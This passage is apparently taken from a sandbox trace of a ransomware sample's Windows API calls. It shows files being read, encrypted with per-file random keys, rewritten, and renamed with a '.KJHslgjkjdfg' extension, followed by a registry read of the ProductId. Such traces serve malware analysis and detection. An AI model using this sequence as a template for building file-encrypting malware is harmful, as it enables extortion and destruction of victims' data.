phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.248] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.248] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.248] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa6c, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xa6c, lpOverlapped=0x0) returned 1 [0189.248] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xa70, dwBufLen=0xa70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xa70) returned 1 [0189.248] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.248] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xa70, lpOverlapped=0x0) returned 1 [0189.248] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.248] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xb44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.248] SetEndOfFile (hFile=0x12c) returned 1 [0189.251] GetProcessHeap () returned 0x2ef0000 [0189.251] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.251] GetProcessHeap () returned 0x2ef0000 [0189.251] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.251] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.kjhslgjkjdfg")) returned 1 [0189.254] CloseHandle (hObject=0x12c) returned 1 [0189.255] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0189.255] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.255] GetProcessHeap () returned 0x2ef0000 [0189.255] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.255] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.255] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.255] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xb, lpOverlapped=0x0) returned 1 [0189.257] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.257] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.257] GetProcessHeap () returned 0x2ef0000 [0189.258] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.258] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0189.258] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.258] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0189.258] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.258] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.258] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.258] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.258] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.258] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.258] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.258] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.258] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa5d5, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xa5d5, lpOverlapped=0x0) returned 1 [0189.260] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xa5e0, dwBufLen=0xa5e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xa5e0) returned 1 [0189.260] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.260] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa5e0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xa5e0, lpOverlapped=0x0) returned 1 [0189.261] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.261] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xa6b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.261] SetEndOfFile (hFile=0x12c) returned 1 [0189.263] GetProcessHeap () returned 0x2ef0000 [0189.263] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.264] GetProcessHeap () returned 0x2ef0000 [0189.264] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.264] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0189.269] CloseHandle (hObject=0x12c) returned 1 [0189.269] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="WATER.ELM", cAlternateFileName="")) returned 1 [0189.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.271] GetProcessHeap () returned 0x2ef0000 [0189.271] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.271] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.271] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.271] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.273] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.273] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.273] GetProcessHeap () returned 0x2ef0000 [0189.273] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0189.273] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0189.273] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.274] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0189.274] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.274] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.274] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.274] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.274] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.274] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.274] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.274] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.274] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x101cc, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x101cc, lpOverlapped=0x0) returned 1 [0189.285] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x101d0, dwBufLen=0x101d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x101d0) returned 1 [0189.286] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.286] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x101d0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x101d0, lpOverlapped=0x0) returned 1 [0189.286] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.286] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x10294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.286] SetEndOfFile (hFile=0x12c) returned 1 [0189.289] GetProcessHeap () returned 0x2ef0000 [0189.289] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0189.289] GetProcessHeap () returned 0x2ef0000 [0189.289] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.289] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm.kjhslgjkjdfg")) returned 1 [0189.294] CloseHandle (hObject=0x12c) returned 1 [0189.294] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="WATER.INF", cAlternateFileName="")) returned 1 [0189.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.296] GetProcessHeap () returned 0x2ef0000 [0189.296] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.296] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.296] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.296] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xf, lpOverlapped=0x0) returned 1 [0189.297] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.297] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.297] GetProcessHeap () returned 0x2ef0000 [0189.297] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0189.297] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0189.297] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.297] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0189.298] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.298] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.298] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.298] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.298] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.298] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.298] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.298] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.298] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1a1, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1a1, lpOverlapped=0x0) returned 1 [0189.298] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1b0, dwBufLen=0x1b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1b0) returned 1 [0189.298] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.298] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x1b0, lpOverlapped=0x0) returned 1 [0189.298] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.298] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.298] SetEndOfFile (hFile=0x12c) returned 1 [0189.301] GetProcessHeap () returned 0x2ef0000 [0189.301] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0189.301] GetProcessHeap () returned 0x2ef0000 [0189.301] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.301] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf.kjhslgjkjdfg")) returned 1 [0189.307] CloseHandle (hObject=0x12c) returned 1 [0189.307] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="WATER.INF", cAlternateFileName="")) returned 0 [0189.307] GetProcessHeap () returned 0x2ef0000 [0189.307] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.307] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.307] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0189.307] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.307] GetProcessHeap () returned 0x2ef0000 [0189.307] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0189.307] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.307] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0189.307] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.307] GetProcessHeap () returned 0x2ef0000 [0189.307] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0189.307] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.307] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0189.307] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.307] GetProcessHeap () returned 0x2ef0000 [0189.308] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0189.308] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.308] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0189.308] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.308] GetProcessHeap () returned 0x2ef0000 [0189.308] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.308] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.308] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0189.308] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.308] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0189.308] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0189.308] RegCloseKey (hKey=0x12c) returned 0x0 [0189.308] GetProcessHeap () returned 0x2ef0000 [0189.308] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0189.308] GetProcessHeap () returned 0x2ef0000 [0189.308] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.308] GetProcessHeap () returned 0x2ef0000 [0189.308] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.308] 